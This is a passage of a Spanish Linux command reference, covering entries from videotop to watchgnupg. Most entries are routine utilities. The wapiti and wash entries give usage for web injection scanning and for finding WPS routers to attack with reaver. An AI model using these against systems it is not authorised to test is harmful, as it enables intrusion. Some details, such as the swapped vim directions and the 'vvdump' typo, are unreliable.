[videotop-git, urwid, youtube-dl]. Descarga de videos de youtube.

```
$ videotop
Para entrar en el prompt
```

Teclear:

```
:s queen (se mostrarán los videos en los que aparezca queen. Se selecciona con la flechas
    el que se quiera descargar y se pulsa intro. El video se encontrará en $HOME/.videotop
    /videos/)
:5 (Descargar el video 5)
:v (Muestra los videos descargados [ls $HOME/.videotop/videos])
:q (salir)
:delete (borrar video seleccionado)
:clear (limpia la búsqueda y se entra en modo buscador.)
    ^r (limpia el listado)
    ^n (continuación de la misma búsqueda)
```

## videotrans

Colección de utilidades diseñadas para ayudar en la creación de DVDs. Los programas que integran la herramienta son: movie-compare-dvd, movie-fakewavspeed, movie-make-title, movie-make-title-simple, movie-progress, movie-rip-epg.data, movie-title, movie-to-dvd y movie-zoomcalc.

## vidir

[moreutils]

Edita como un archivo de texto directorios o archivos.

```
$ vidir /home/usuario
$ vidir *.png
```

## view

Ver en pantalla el contenido de un archivo.

```
$ view fichero.txt
```

## viewres

Muestra el árbol con la jerarquía de clases de widgets de Athena Widget Set.

```
$ viewres -name shell
```

```
$ viewres -variable
```

```
$ viewres -vertical
```

## vifm

Plugin de Vim que permite el uso de un selector de archivos en el propio Vim. Descarga: <https://github.com/vifm>

## vigpg

Programa que envuelve al editor cuando se editan archivos encriptados como puede ser el archivo de contraseñas .pgp.

```
3 vigpg archivo.txt.gpg
```

## vigr

Editor que permite modificar el fichero /etc/group en modo seguro. La diferencia de editarlo con vigr o hacerlo con cualquier otro editor (gedit, nano...) es que vigr bloquea el fichero para evitar ediciones simultaneas y en el momento de guardar los cambios realiza un chequeo del fichero en busca de fallos de sintaxis.

```
# vigr
Editar el fichero /etc/group
```

```
# vigr -s
Editar el fichero /etc/gshadow
```

## vilistextum

Convertir textos html a ascii

```
$ vilistextum -m -n archivo.html archivo.txt
sin mostrar caracteres estraños ni imagenes
```

## vim

Editor

```
$ vim fichero
Abrir un fichero
```

```
$ vim -x fichero
Poner contraseña a un fichero
```

```
$ vimtutor
Lanzar un tutorial elemental de vim
```

Algunas teclas para no morir en el intento:

modo:

```
i (Entrar en modo edición)
esc (Salir modo edición y entrar en modo comando)
Salvavidas
```

```
u (Cada pulsación deshace el siguiente cambio del historial)
Movimientos del cursor:
```

```
k (Arriba)
j (Abajo)
h (Derecha)
l (Izquierda)
w (Ir al principio de la palabra posterior)
b (Ir al principio de la palabra anterior)
$ (Ir al final de la línea)
0 (Ir al principio de la línea)
) (Ir a la frase siguiente)
( (Ir a la frase anterior)
{ (Pasar al siguiente párrafo)
} (Pasar al anterior párrafo)
H (Ir a la parte superior de la pantalla)
M (Ir a la parte media de la pantalla)
L (Ir a la parte inferior de la pantalla)
Ctrl + d (Avanzar media pantalla)
Ctrl + u (Retroceder media pantalla)
gg (Ir al principio del fichero)
G (Ir al final del fichero)
:20 (Ir a la línea 20)
```

Borrar:

```
daw (palabra)
d3aw (3 palabras)
dd (Línea)
3dd (3 líneas)
d$ (Del cursor al final de la línea)
d0 (Del cursor al principio de la línea)
Copiar, pegar e insertar:
```

```
yy (copiar línea)
p (pegar debajo del cursor)
yaw (copiar toda la palabra)
yap (Cortar todo el párrafo)
:r archivo (insertar "archivo")
:r! comando (insertar salida de comando)
o (Insertar línea en blanco y entrar en edición)
Búsqueda:
```

```
/palabra (buscar hacia adelante "palabra")
/palabra\c (buscar "palabra" sin importar mayúsculas o minúsculas)
n (Siguiente coincidencia hacia adelante)
N (Siguiente coincidencia hacia atrás)
:%s/texto1/texto2/g (Substituir "texto1" por "texto2" en todo el archivo)
Abrir, guardar y salir
```

```
:q! (Salir sin guardar)
:w (Guardar cambios sin salir)
:x (Guardar cambios y salir)
:w fichero (Guardar en un fichero distinto y seguir)
:e fichero2 (Cierra el fichero actual y abre fichero2)
:e . (Abre un navegador de ficheros del directorio actual)
:e (Recarga el fichero)
ZZ (Guardar y salir)
:w !sudo tee % (Guardar un archivo tras haberlo abierto sin sudo)
Modo visual:
```

```
v (Entra en modo visual para seleccionar texto)
c (Cortar)
y (Copiar)
p (Pegar)
"add (Cortar línea y guardarla con el nombre "a")
"ap (Pegar la línea guardada como "a")
"+3dd (Cortar 3 líneas y guardarlas en el portapapeles)
"+p (Pegar las líneas guardadas en el portapapeles)
Dejar marcas en un texto:)
```



```

ma (Marca una línea con la "a". las siguientes: mb, mc, md..)
'a (Ir a la línea marcada con la "a")
'. (Ir a la última línea modificada)

```

Ejecución de comandos durante la edición:

```

:!!s (Muestra listado del directorio y con intro regresa al editor)
:shell (Pausa la edición y entra en modo shell. Con "exit" vuelve a vim)
Ctrl z (Suspende vim y entra en la shell. Con "fg" vuelve a vim)

```

Crear pestañas:

```

:tabnew fichero (Abrir un archivo en una nueva pestaña)
gt (Moverse entre pestañas)
:close (Cierra la ventana o la subdivision de la ventana)
:only (Cierra todas las ventanas menos la actual)

```

Dividir la pantalla en distintos paneles:

```

:split fichero (Abrir un archivo en una division horizontal de la ventana)
:vsplit fichero (Abrir un archivo en una division vertical de la ventana)
:new (Abre un nuevo panel vacio)
:close (Cerrar panel o ventana)
Ctrl + w flecha (Moverse entre los distintos paneles de una ventana)
Ctrl + w n (crear nueva ventana)
Ctrl + w h (ir a la ventana de la izquierda)
Ctrl + w j (ir a la ventana de abajo)
Ctrl + w k (ir a la ventana de arriba)
Ctrl + w l (ir a la ventana de la derecha)
Ctrl + w t (ir a la ventana de más arriba)
Ctrl + w b (ir a la ventana de más abajo)
Ctrl + w w (pasar a la siguiente ventana)
Ctrl + w + (aumentar el tamaño de la ventana en 1 línea)
Ctrl + w - (disminuir el tamaño de la ventana en 1 línea)

```

Imprimir:

```

:ha (Imprimir todo el documento)
:ha > archivo.pdf (Imprimir a pdf)

```

Guardar sesiones:

```

:mksession! archivo (Guarda la sesión actual en "archivo")
:source archivo (Una vez abierto el archivo, carga la sesión guardada)

```

Corrector ortográfico:

```

:set spell spelllang=es (Activar diccionario. spelllang=ca para catalan)
z= (Con el cursor en el error, muestra las sugerencias)
Ctrl + x s (Abre el menú de sugerencias sin salir del modo insertar)
:spellrepall (Corrige en todo el texto la que acabamos de corregir)
zg (Añadir al corrector la palabra del cursor)
zw (Suprimir del corrector la palabra del cursor)

```

Buffers:

```

:buffers (Muestra buffers abiertos (actual [%], cerrado [#], activo [a], oculto [h])
:buffer 2 (salta al buffer 2)
:bn (Ir al siguiente buffer)
:bp (Ir al anterior)
:bd (suprimir buffer [Cerrar archivo])
:ls (Lista los buffers)

```

Varios:

```

:e /home/usuario (Abre vim en modo navegador de archivos con el directorio mencionado)
:Ex (Abre el navegador de archivos en un nuevo panel de la ventana activa)

```

algunos ajustes que pueden implementarse, bien durante la edición [en modo normal] o

permanentemente en ~/.vimrc [en este caso quitar los dos puntos iniciales]:

```

:set showmode/noshowmode (mostrar/no mostrar modo actual de vi)
:set ts=4 (Fija los tabulados a 4 espacios)
:set sw=4 (Fija los indentados a 4 espacios)
:set number/nonumber (Activa/desactiva el numerado de líneas)
:set backup/nobackup (Activa/desactiva la copia de seguridad automática)
:set directory=dir (fija la carpeta donde se harán las copias)
:syntax on/off (Activa/desactiva el resaltado de sintaxis)
:set hidden (Información sobre la columna y posición del cursor)
:set ignorecase (Ignorar mayúsculas y minúsculas en las búsquedas)
:set showcmd (Mostrar la combinación de teclas que estamos entrando)
:set nocompatible (Permite usar funcionalidades de vim que vi no soporta)
:set hidden (Permite abandonar buffers sin guardarlos previamente)

```

```

:color darkblue (Cambia el color del vim [evening, desert, elflord, koehler, morning..])
:set cindent (Activa indentado automático)
:set history=500 (Aumentar el historial de comandos a 500)
:set undolevels=1000 (Aumentar pasos a deshacer a 1000)
:set mouse=a/mouse= (Activa/desactiva el uso del ratón)
:set paste/nopaste (Activa/desactiva el modo pegar texto literalmente)
:spell (Activa el corrector ortográfico)
:set spellfile=~/.vimdic (Fija diccionario de palabras desconocidas)
:set ruler (mostrar fila y columna del cursor y porcentaje del texto)
:set ignorecase (Que ignore mayúsculas y minúsculas en las búsquedas)
:set linebreak (Para que las palabras no se corten al final de la línea)
:set encoding=utf-8 (Codificación que se usará [utf-8])
:set list (Mostrar los caracteres no imprimibles)
:set wrap (Activa el cortado de líneas largas en pantalla)
:set t_Co=256 (La terminal con 256 colores)

1.-

```

Poner un esquema de colores:

```

$ mkdir -p ~/.vim/colors
Crear el directorio caso de no existir

```

Entrar en <[http://www.vim.org/scripts/script\\_search\\_results.php](http://www.vim.org/scripts/script_search_results.php)> y escoger los deseados y copiarlos en el directorio creado. Después crear [si no existe] el fichero:

```

$ vim .vimrc

```

Y pegar el texto:

```

syntax on
colorscheme oceandeeep
En colorscheme poner el escogido, en este caso oceandeeep. Guardar.

```

2.-

Crear atajos de teclado [mapping]. Colocar en ~/.vimrc para hacerlo permanente:

Pulsar F2 para mostrar/ocultar los números de línea:

```

:map <F2> <Esc>:set invnumber<CR>
Pulsar F3 para mostrar/ocultar los caracteres no imprimibles:

```

```

map <F3> <Esc>:set invlist listchars=eol:$,tab:>-,trail:-<CR>
Pulsar F4 para activar el corrector ortográfico:

```

```

map <F4> <Esc>:set spell spelllang=es<CR>
Nombre de las teclas especiales para el mapeo:

```

<up>	Flecha arriba	<down>	Flecha abajo
<right>	Flecha derecha	<left>	Flecha izquierda
<esc>	Escape	<cr>	Enter
<space>	Espacio	<tab>	Tabulador
<del>	Suprimir	<bs>	Backspace
<f1>.. <lt;f12&gt;< td=""><td>Teclas de función</td><td>&lt;insert&gt;</td><td>Insert</td></lt;f12&gt;<>	Teclas de función	<insert>	Insert
<end>	Fin		<c-tecla>
	Control + tecla		
<RePag>	Página anterior	<AvPag>	Página siguiente
<s-tecla>	Shift + tecla	<c-s-tecla>	Control + shift +
	tecla		

3.-

Copiar y pegar texto de vim a las X y viceversa:

Comprobar si vim tiene soporte para xterm\_clipboard lanzando vim y ejecutando:

```

:version
Las opciones precedidas con "+" están habilitadas y las con "-" deshabilitadas. La solución, si
está deshabilitada, es compilar vim con dicha opción o instalar vim-gtk o gvim (según distro).
El proceso en vim es seleccionar el texto a copiar y y:

```

```

"+y
Y pegar en cualquier editor (gedit, pico...) con Ctrl + v o con el botón derecho del mouse. El
proceso inverso, o sea copiar en otro editor y pegar en vim será seleccionando y copiando el
texto con el mouse y pegarlo en vim con:

```

```
" +p
Nota- Para que todo lo copiado en Vim se asigne automáticamente al portapapeles del sistema
operativo, añadir a .vimrc:
```

```
set clipboard=unnamedplus
4.-
```

Abrir un panel lateral con el árbol de directorios [Plugin NERDTree]

```
$ git clone https://github.com/scrooloose/nerdtree.git
$ cd nerdtree/
$ cp -R * ~/.vim/
Para abrir NERDTree pulsando F5 colocar en .vimrc la linea:
```

```
map <F5> :NERDTreeToggle<cr>
```

## vimtutor

Tutorial de vim. Se encuentra en /usr/share/vim/vim90/tutor/ en varios idiomas

```
$ vimtutor -g es
Mostrar el español. Recordar que para salir del tuto :qa
```

## vinetto

Programa para extraer imágenes en miniatura y sus metadatos de los archivos Thumbs.db que se generan en Microsoft Windows.

Aquí hay algunos ejemplos de cómo usar el comando vinetto :

```
$ vinetto archivo_thumbs.db
forma básica
```

```
$ vinetto -o vinetto_output /dir_thumbs.db/*
extraer miniaturas de un dir y guardarlas en el dir vinetto_output
```

```
$ vinetto -Ho vinetto_output /dir_tThumbs.db/*
extraer miniaturas en el dir vinetto_output y producir un informe html para previsualizarlas en el
navegador
```

## vipe

[moreutils]. Permite editar en medio de una tubería los datos que están siendo canalizadas entre programas.

```
$ ls | vipe | ifdata -pb eth0
```

## vipw

Editor que permite modificar el fichero /etc/passwd en modo seguro. La diferencia de editarlo con vipw o hacerlo con cualquier otro editor (gedit, nano...) es que vipw bloquea el fichero para evitar ediciones simultaneas y en el momento de guardar los cambios realiza un chequeo del fichero en busca de fallos de sintaxis.

```
# vipw
Edita el fichero /etc/passwd
```

```
# vipw -s
Editar el fichero /etc/shadow
```

## virtualbox

[virtualbox-guest-utils linux-headers-\$(uname -r) build-essential dkms]. Herramienta que permite la virtualización de sistemas operativos.

En la página <https://www.virtualbox.org/wiki/Downloads> apartado "VirtualBox 4.2 Oracle VM VirtualBox Extension Pack" clicar en "All platforms" y Descargar el paquete de extensiones Oracle\_VM\_VirtualBox\_Extension\_Pack-4.2.0-80737.vbox-extpack. Para instalarlo, doble clic en el paquete y seguir instrucciones [aceptar condiciones y contraseña de root].

```
# usermod -aG vboxusers USUARIO
Agregar usuario al grupo vboxusers
```

```
# gpasswd -a $USER vboxsf
Agregar usuario al grupo vboxsf
```

```
# modprobe vboxdrv
Activar módulo
```

```
$ VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-4.2.16-86992.vbox-extpack
instala un pack de extensiones
```

```
$ VBoxManage list extpacks
Ver paquetes de expansión instalados
```

1.-

Gestión de máquina virtuales desde consola:

Para la gestión de máquinas virtuales sin interfaz gráfica, se utiliza VboxHeadless para tal proposito que incluye diferentes comandos que veremos en las próximas líneas.

```
$ VBoxManage createvm --name "maquina_virtual" --register
Creamos una máquina virtual con el nombre "maquina_virtual"
```

```
$ VBoxManage modifyvm "maquina_virtual" --memory 780 --acpi on --boot1 dvd --nic1 bridged --
bridgeadapter1 eth0 --ostype Ubuntu
Modificamos la máquina virtual que hemos creado, asignándole 780MB de RAM, activando ACPI,
definiendo que arranque desde CD/DVD, indicando que la tarjeta de red sea en modo bridge y que el
la tarjeta de red del sistema a usar es la eth0, y finalmente definiendo que la máquina será un
Ubuntu.
```

```
$ VBoxManage createvdi --filename ~/VirtualBox\VMs/maquina_virtual/maquina_virtual-disk01.vdi --
size 30000
Creamos un disco duro en formato VDI de 30 GB
```

```
$ VBoxManage modifyhd maquina_virtual-disk01.vdi --resize 60000
Redimensionar el espacio del fichero VDI en MB
```

```
$ VBoxManage storagectl "maquina_virtual" --name "IDE Controller" --add ide
Añadimos un controlador IDE para posteriormente conectar el disco duro
```

```
$ VBoxManage storageattach "maquina_virtual" --storagectl "IDE Controller" --port 0 --device 0 --
type hdd --medium ~/VirtualBox\VMs/maquina_virtual/maquina_virtual-disk01.vdi
Asignamos el disco duro a la máquina virtual
```

```
$ VBoxManage storageattach "maquina_virtual" --storagectl "IDE Controller" --port 1 --device 0 --
type dvddrive --medium ~/IS
```

O/ubuntu-12.04.2-server-i386.iso (Asignamos a la máquina Virtual una ISO de instalación, en este caso de Ubuntu Server)

```
$ VBoxManage modifyvm "maquina_virtual" --pae on
activamos PAE en la máquina Virtual
```

```
$ VBoxManage modifyvm "maquina_virtual" --memory 512
Modificamos la RAM a 512MB
```

```
$ VBoxHeadless --startvm "maquina_virtual"
arranca una máquina virtual
```

```
$ VBoxHeadless --startvm "maquina_virtual" -e "TCP/Ports=7000" &
Arrancamos la máquina virtual indicando que queremos un servidor RDP para conexión remota en el
puerto 7000
```

```
$ VBoxManage controlvm "maquina_virtual" poweroff
```

Para la máquina virtual. Recomendable parar primero la máquina virtual desde la maquina virtual y luego ejecutar esto

```
$ VBoxManage clonehd Metasploitable.vmdk ../Metasploitable2-Linux.vdi -format VDI
```

Convertir una imagen vmdk en vdi

## virtualenv

Crea contenedores para Python. Similar al concepto de Docker para hacer la aplicación instalada dentro del contenedor independiente de las versiones de Python del sistema.

```
$ virtualenv nombre_contenedor
```

Crea el contenedor

## virt-what

Script de shell que detecta si un programa se está ejecutando en una máquina virtual (VM).

```
$ virt-what
```

## visitors

Muestra estadísticas del sitio web local.

```
# visitors -A /var/log/apache2/access.log -o html > report
```

Activar todas las opciones [-A] que guarde la salida en formato html [-o] y que base el informe en el archivo /var/log/apache2/access.log

## visudo

Editor que permite modificar el fichero /etc/sudoers en modo seguro. La diferencia de editarlo con visudo o hacerlo con cualquier otro editor (gedit, nano...) es que visudo bloquea el fichero para evitar ediciones simultaneas y en el momento de guardar los cambios realiza un chequeo del fichero en busca de fallos de sintaxis.

```
# visudo
```

Edita el fichero /etc/sudoers

```
# visudo -c
```

Chequea si existen errores en /etc/sudoers

```
# visudo -f archivo
```

Especificando un archivo alternativo al por defecto de /etc/sudoers

## vlc

Reproductor de video y audio

```
$ vlc -I
```

listar opciones. La opción es i mayúscula

```
$ vlc -l | grep -i interface
```

ver solo las interfaces

```
$ vlc -I ncurses
```

arrancar en modo ncurses

```
$ vlc -I ncurses cdda://sr0/
```

lo mismo indicando dispositivo del CD

## vlock

Bloquea la terminal actual local o remota o bloquea todo el sistema de consola virtual, deshabilitando completamente todo el acceso a la consola. vlock cancela estos bloqueos cuando se escribe la contraseña del usuario que inició vlock o la contraseña de root. vlock es interesante en entornos de sistemas de múltiples usuarios permitiendo a unos usuarios bloquear sus sesiones mientras que otros pueden usar el mismo sistema a través de otro terminal virtual.

```
$ vlock
bloquear una sesión de consola
```

```
$ vlock -c
bloquear la consola de la sesión actual [default]
```

```
$ vlock -a
bloquear todas las consolas. Si se está en una virtual bloquea todas las virtuales
```

```
# vlock -n
bloquea todas la consolas de X
```

```
# vlock -s
deshabilitar vlock
```

Para desbloquearla, pulsar enter y la contraseña del usuario que la ha bloqueado.

## vmkfstools

Modificar por duplicidad [msg.disk.duplicateUUID:Virtual disks] o asignar por ausencia [disk does not have a UUID] un nuevo UUID a un disco VMDK.

```
# vmkfstools -J getuuid virtual01.vmdk
Asignar nuevo UUID
```

```
# vmkfstools -J setuuid virtual01.vmdk
Modificar el UUID
```

## vmstat

Herramienta de monitorización del rendimiento. Proporciona información acerca de procesos, actividad de la CPU, memoria, paginación, bloques de entrada salida e interrupciones.

```
# vmstat 2
actualización cada dos segundo
```

## vmtouch

Herramienta para controlar la memoria caché del sistema.

```
$ vmtouch /bin/
cantidad del directorio /bin que está es caché
```

```
$ vmtouch -vt archivo.txt
cuanto del archivo especificado está en memoria caché y mostrando progreso
```

```
$ vmtouch -ve video.mp4
desalojar video.mp4 de la memoria caché
```

```
$ vmtouch -dl /vat/log/
Daemoniza y bloquea todos los archivos de un directorio en la memoria física
```

## vncrec

[xutils-dev libxt-dev libxmu-dev libxaw7-dev]. Grabación de sesiones vnc. (<https://wiki.ubuntu.com/ScreenCasts/VNCREC>)

```
$ wget http://ronja.twibright.com/utils/vncrec-twibright.tgz
$ tar xzvf vncrec-twibright.tgz
$ cd vncrec-twibright/
$ xmkmf
$ make World
# cp -R vncrec-0.2 /usr/local/
# ln -s /usr/local/vncrec-0.2/vncrec/vncrec-twibright/vncrec/vncrec /usr/bin/vncrec
$ vncrec -record archivo IP_o_host:1
iniciar conexión y grabación

$ vncrec -play archivo
reproducir la grabación

$ vncrec -movie archivo | ffmpeg2theora --no-audio -o archivo.ogv
convertir la grabación a formato ogv
```

## vncserver

Permitir acceso remoto

```
$ vncserver :1
arrancar el servicio con el número de sesión 1

$ vncpasswd
Entrar una contraseña

$ vncserver -kill :1
Matar la sesión 1
```

Conectarse desde el cliente:

```
$ vncviewer IP_o_host:1
```

## vncviewer

Conexión remota

```
$ vncviewer host
básica

$ vncviewer host -bgr233
Para conexiones lentas. Reduce la calidad del color

$ vncviewer host -geometry 800x600
Para conexiones lentas. Reduce la ventana

$ vncviewer host -quality 0
disminuir la calidad de la imagen y aumentar la compresión. El valor va de 0 a 9 siendo el 9
máxima calidad de imagen y menor compresión
```

## vnstat

Herramienta que guarda un registro del tráfico de nuestras conexiones de red seleccionadas. Sobre este registro realiza estadísticas de uso. También permite mostrar estos registros en distintos formatos: datos del día, de la semana, el total descargado y un top10 con los días de mayor uso de ancho de banda.

```
# vnstat -u -i eth0
crear la base de datos
```

```
# vnstat -d -i eth0
consultar informes por días [-h -> horas, -m -> meses]
```

```
# vnstat -i eth0
```

```
# vnstat -l -i eth0
monitorizar en tiempo real hasta pararlo con Ctrl+c Al finalizar mostrará un resumen del periodo
monitorizado
```

```
# vnstat -tr
por un periodo de 5 segundos
```

## vnstati

[vnstat]. Crea un png de la salida del comando vnstat.

```
$ vnstati -s -vs -i eth1 -o vnstat.png
Mostrando resumen del tráfico de salida [s], incluyendo datos por hora en gráfica vertical [vs],
especificando la red y guardando en vnstat.png [o]
```

```
$ vnstati -h -c 15 -o vnstat2.png
por horas [h] y actualizando si han pasado 15 minutos del último reporte
```

## vobcopy

Ripear dvds.

```
$ vobcopy -i /dev/dvdrom -o /home/usuario/musica
```

## vol\_id

Mostrar tipo de fichero y uuid de una partición

```
# vol_id --export /dev/sda2
```

```
# vol_id --uuid /dev/sda2
solo muestra el uuid
```

## vramsteg

Proporciona una barra de progreso que puede mostrar el tiempo transcurrido, el tiempo restante estimado, el porcentaje completado y las etiquetas.

ejemplo en un script:

```
$ nano vramsteg.sh

#!/bin/bash
for i in {0..10}
do
    vramsteg --min 0 --max 10 --style text --current $i

    sleep 1
done
echo
vramsteg -r
```

Nota.- style puede ser "mono" [progreso en color blanco] o "text" [progreso con asteriscos] si no se especifica es en color [default]. -r es borrar la barra de progreso.



## vrms

Para saber los paquetes contrib y non-free instalados y su porcentaje en el sistema en Debian.

```
$ vrms
```

## vsftpd

Servidor de archivos ftp. Toda la configuración de encuentra en el archivo:

```
# nano /etc/vsftpd.conf
```

Algunos de los parámetros:

```
anonymous_enable=NO (si no queremos accesos anonimos)
local_enable=YES (Permitir accesos locales autenticados)
write_enable=YES (Permite escritura en el servidor)
ftpd_banner=Entrando en el servidor ftp...
chroot_local_user=YES (Enjaular la conexión a su propio directorio personal)
max_clients=5 (limitar a 5 los accesos simultaneos)
Nota.- Han de redigirirse los puertos 20 y 21 y el rango especificado en el archivo de
configuración:
pasv_min_port=44000
pasv_max_port=44100
El cliente podrá conectarse al servidor via filezilla, gftp...
```

## vtclock

Reloj digital.

```
$ vtclock -2 -d 1
```

Usando la fuente 2 [de 1 a 5] y desplazandose por la terminal cada segundo

## vte

Terminal

```
$ vte -T
```

Lanza terminal semitransparente

```
$ vte -g 60x10 -r red
```

Especificando medidas y color del cursor

## vtmc

Realiza una presentación de alta calidad. Descarga: <<https://github.com/jclulow/vtmc>>

```
$ vtmc show DIR
```

mostrar las diapositivas del directorio DIR

Opciones:

j (diapositiva siguiente)

k (diapositiva anterior)

r (recargar la presente diapositiva)

q (salir)

## vtprint

Permite imprimir desde un host UNIX remoto a una impresora conectada a una terminal local solo archivos de texto y puede sustituir a lpr [ver]) en circunstancias en las que la impresora no está conectada directamente al host o no está disponible a través de TCP/IP. Incluye: vtprtoff (desactiva la redirección de texto ASCII a la impresora conectada a una terminal) y vtprton (la activa)

```
$ vtprint nota.txt
```

## vttest

Proporciona un programa diseñado para probar la funcionalidad del terminal VT100 [o emulador]. También es compatible con el análisis de VT220, VT420 y xterm. Cuando se entra en el prompt del programa, se observa el menú y contiene instrucciones de funcionamiento en línea. Prueba tanto la visualización [secuencia de escape] como el manejo del teclado.

```
$ vttest
entrar en el prompt
```

## vuls

Escáner de vulnerabilidades. Automatiza el análisis de vulnerabilidad de seguridad del software instalado en un sistema. Utiliza múltiples bases de datos de vulnerabilidades de renombre, como la National Vulnerability Database (NVD). Crear en el directorio personal el archivo::

```
$ nano config.toml
```

Con, como mínimo, el siguiente contenido:

```
[servers]
[servers.localhost]
host = "localhost"
port = "local"
```

```
$ vuls commands
listado de comandos que pueden usarse
```

```
$ vuls configtest
realizar un test
```

```
$ vuls scan
realizar el escaneo de lo especificado en config.toml
```

```
$ vuls report
ver el informe
```

```
$ vuls tui
analizar vulnerabilidades
```

## vzrestore

Restaurar maquinas virtuales [ver vzdump]

## vzdump

Realizar copias de seguridad y restaurar imágenes openvz. Vzdump es un programa de respaldo basado en shell para máquinas virtuales OpenVZ. Está hecho para contenedores que usan el sistema de archivos tradicional "simfs", no se puede usar para contenedores con sistema de archivos "ploop".

```
# vvdump --compress --dumpdir /home/USER/backup 101
crear copia de seguridad de la máquina virtual [contenedor] comprimida, en el dir especificado y con el ID 101
```

```
# vvdump --compress --dumpdir /home/USER/backup --all
crear copia de seguridad de todos los contenedores
```

```
# vzrestore /home/USER/backup/vzdump-101.tgz 104
restaurar la máquina virtual 101 desde la copia de seguridad con la nueva ID 104
```

---

## W

---

### w

Ver que estan haciendo los usuarios conectados (ESER) y desde qué terminal (TTY) y equipo remoto (FROM), el tiempo que hace que no está realizando ninguna acción (IDLE), el tiempo utilizado por todos los procesos conectados al terminal (JCPU) y el utilizado por el proceso actual (PCPU) y el último comando ejecutado (WHAT). El comando interpreta la información del fichero /var/run/utmp.

```
# w
```

### w3m

Navegador

```
$ w3m -v URL
Para visualizar las url con imágenes en las tty
```

Algunos atajos:

- H (ayuda)
- q (Salir)
- Q (Salir sin preguntar)
- Espacio (Desplazamiento por paginas)
- g (Ir a la parte superior)
- G (Ir a la parte inferior)
- Tab (Ir al siguiente enlace)
- Alt + Tab (Ir al enlace anterior)
- B (Ir a la página anterior)
- u (Muestra la URL)
- U (Abre cuadro de dialogo para entrar nueva URL)
- / (Buscar hacia delante una palabra)
- ? (Buscar hacia atras una palabra)
- v (Alterna entre vista normal y codigo fuente)
- R (Recargar la página)
- s (Abrir historial reciente)

## wajig

Herramienta que engloba apt, apt-cache, dpkg, aptitude, apt-get y otros.

```
# wajig list-commands
```

```
daily-upgrade (Ejecuta nupdatez, después ndist-upgradez)
install (Instala un paquete)
installrs (Instala un paquete y los que este sugiere y recomienda)
auto-download (Ejecuta nupdatez y se descarga todos los paquetes actualizados)
available (Muestra las versiones del paquete disponibles para su instalación)
bug (Revisar los informes de error usando Debian Bug Tracker)
detail (Ofrece una detallada descripción del paquete)
file-find (Busca un archivo contenido en un paquete instalado)
find-pkg (Busca un paquete Debian no oficial en apt-get.org)
hold (Retiene los paquetes para evitar que se actualicen)
last-update (Identifica el momento en que se realizó la última actualización)
list-hold (Muestra los paquetes retenidos)
new (Muestra los paquetes disponibles desde la última actualización)
news (Obtiene las últimas noticias relativas al paquete)
orphans (Muestra las bibliotecas que ningún paquete requiere)
package (Genera un archivo .deb de un archivo instalado)
purge-depend (Purga paquete y aquellos que de él dependen, o que otros no requieren)
readme (Muestra el archivo README de n/usr/share/docz)
restart (Detiene y reinicia un demonio, [wajig restart ssh])
rpminstall (Instala un paquete .rpm de RedHat)
search-apt (Busca archivos de Debian apropiados para sources.list)
showinstall (Muestra los pasos que tomará una instalación)
status (Muestra la versión y versiones disponibles de un paquete)
toupgrade (Muestra paquetes susceptibles de ser actualizados)
```

```
# wajig install xclip
```

```
# wajig auto-download
equivalente al apt update
```

```
# wajig toupgrade
equivalente al apt upgrade
```

## wait

Indica el estado de un proceso que se está ejecutando o se ha ejecutado en background o espera a que se realice determinado proceso o trabajo para continuar.

```
$ wait
```

```
$ wait PID
Indicando el PID
```

```
$ wait %2
Indicando el número de proceso
```

## wait-for-it

Script de bash que esperará la disponibilidad de un host y un puerto TCP.

```
$ wait-for-it www.google.com:80 --echo "google está activo"
```

```
$ wait-for-it -t 1 www.google.com:80 --echo "google está activo"
activo después de 1 segundo
```

## wall

Enviar mensajes a todas las terminales

```
$ wall
```

## W

al darle al enter, podrá escribirse un texto. Una vez finalizado se le da otra vez al enter y se pulsa Ctrl+d para enviarlo a todas las terminales, incluidas las tty abiertas

```
$ wall [intro]
```

No quiero morir!!!!!!!!!!!! [intro]

[Ctrl+d]

Broadcast Message from lb@tux

(/dev/pts/9) at 17:39 ...

No quiero morir!!!!!!!!!!!!

```
$ wall << finmensaje  
lo mismo pero lo envia al introducir finmensaje
```

## wallstreet

Esta utilidad dividirá la consola en múltiples paneles de noticias y estadísticas como cualquier buena pantalla de computadora en Wall Street. Finalizar la aplicación pulsando C-c

```
$ wallstreet
```

## wapiti

Permite auditar la seguridad de aplicaciones web. Realiza escaneos "black-box", es decir, no estudia el código fuente de la aplicación, pero escaneará las páginas web de las aplicaciones web desplegadas, buscando secuencias de comandos y formularios donde pueda inyectar datos. Una vez que obtiene esta lista, wapiti actúa como un fuzzer, inyectando cargas útiles para ver si un script es vulnerable.

```
$ wapiti --list-modules  
listar módulos
```

```
$ wapiti -u http://site.com/ -m sql --color  
resaltar parámetros vulnerables [--color] y especificando un módulo [m]
```

```
$ wapiti -u http://site.com -m "-all,xss:get,exec:post" -v 1  
especificando varios módulos y nivel verbose 1 [imprimir cada url]
```

```
$ wapiti -u http://site.com -n 10 -b folder -v 2 -f html -o informe  
límite de urls para leer [10] con el mismo patrón [evitar bucles interminables] y destino [o]
```

Nota.- el parámetro "v" puede ser: 0: quiet (default), 1: imprimir cada url y 2: imprimir cada ataque. El formato "f" puede ser txt, xml o json. El parámetro "b" puede ser "page": analizar sólo la página dada como URL raíz, "folder": analizar todos los URLs bajo la URL raíz [por defecto] y "domain": analizar todos los enlaces a las páginas que están en el mismo dominio que el URL pasada.

## wapua

Navegador que muestra el código WML de la páginas visitadas.

```
$ wapua lapipaplana.org
```

## wash

Detectar routers wifi con el WPS Pin activado. Sólo muestra las que sean compatibles con WPS. En el apartado "WPS Locked" debe constar "No". Luego proceder con el ataque con reaver (ver)

```
# wash -i mon0
```

## watch

permite ejecutar repetidamente una sentencia u otro comando

```
$ watch -n 5 date
mostrará la fecha cada cinco segundos
```

```
$ watch -tnl 'date +%r | figlet'
muestra la hora en un digital en consola
```

```
$ watch -tnl 'date "+%r %F %A"'
Muestra la fecha completa
```

```
$ watch -n3 free -m
monitor de ram
```

## watchcatd

Daemon que monitoriza los procesos registrados, matándolos en caso de que se bloqueen. El archivo de configuración está en /etc/watchcatd.conf

## watchdog

Es un daemon que escribe en /dev/watchdog cada diez segundos. Si el dispositivo se abre pero no se escribe en un minuto, la máquina se reiniciará. Esta característica está disponible cuando el kernel está construido con soporte de "watchdog de software" (estándar en los núcleos Debian) o si la máquina está equipada con hardware watchdog. La capacidad de reiniciar del software del kernel dependerá de estado de la máquina. La herramienta en sí misma ejecuta varias comprobaciones y actúa de manera adecuada si el sistema no está en buen estado.

## watchgnupg

Escuchar un socket de dominio Unix creado por cualquiera de las herramientas GnuPG

```
